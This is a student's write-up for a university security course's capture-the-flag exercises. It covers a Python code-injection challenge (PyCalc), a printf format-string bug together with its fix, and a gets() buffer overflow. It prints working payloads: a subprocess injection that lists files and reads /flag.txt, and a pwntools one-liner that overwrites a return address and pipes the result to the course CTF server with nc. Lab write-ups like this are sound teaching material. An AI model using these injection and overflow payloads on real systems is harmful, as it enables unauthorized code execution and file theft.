IDATT2503 Exercise 02

PyCalc

> Complete the PyCalc challenge on ctf.idi.ntnu.no
>
> - Create a short writeup of the challenge as if you were disclosing the bug to a vendor. Include the following:
>   - Summary
>   - Steps to reproduce
>   - Impact
>   - Timeline

We found that the function `op` would directly the python code.

First we found how to import Python functionality into the input. We used system commands to use `ls` to list the files on the system.

```
op __import__("subprocess").check_output('ls', shell=True).decode('utf-8')
```

Having identified the file `flag.txt` as an obvious target, we used `cat` to read the content of the file and get the flag code.

```
op __import__("subprocess").check_output('cat /flag.txt', shell=True).decode('utf-8')
```

Binary `name` vulnerability

When decompiled, we see that the the user input is done directly to a `printf` statement. This is a possible vulneratbility, as the user have the ability to use format specifiers to read and write from and to the stack.

To fix this, we can cahnge the `prinf`-statement to the following:

```
printf("%s", user_input);
```

Binary `hello` CTF

First we decompiled the source file. We found that the program used `gets()`, which is a big no-no. We also found an adress for a file called `flag.txt`, which is what we're after. We used the broken `gets()` to write outside the intended size of the input, filling the buffer with the the bit-value of the character A, `0x41`. In Python this is `\x41`. We then reached the return address on the stack. We then added a "little-endian" encoded address in 64-bit format with `p64(0x00401192)`. The address was found in the decompiled source, and then we converted it with `p64()`. This in order to make the program jump there after performing the buffer overflow.

When the buffer overflowed, the original return address was overwritten by the new address we provided, taking us to the memory location of `flag.txt`.

We used a single line Python script to overwrite

```
python3 -c "import sys; from pwn import *; sys.stdout.buffer.write(b'\x41' * 40 +
p64(0x00401192))" | nc ctf.idi.ntnu.no 5009
```

It may be required to add `-q 1` to have the process wait for 1 second in order for the connection not to close before we can retrieve the flag.

```
python3 -c "import sys; from pwn import *; sys.stdout.buffer.write(b'\x41' * 40 +
p64(0x00401192))" | nc -q 1 ctf.idi.ntnu.no 5009
```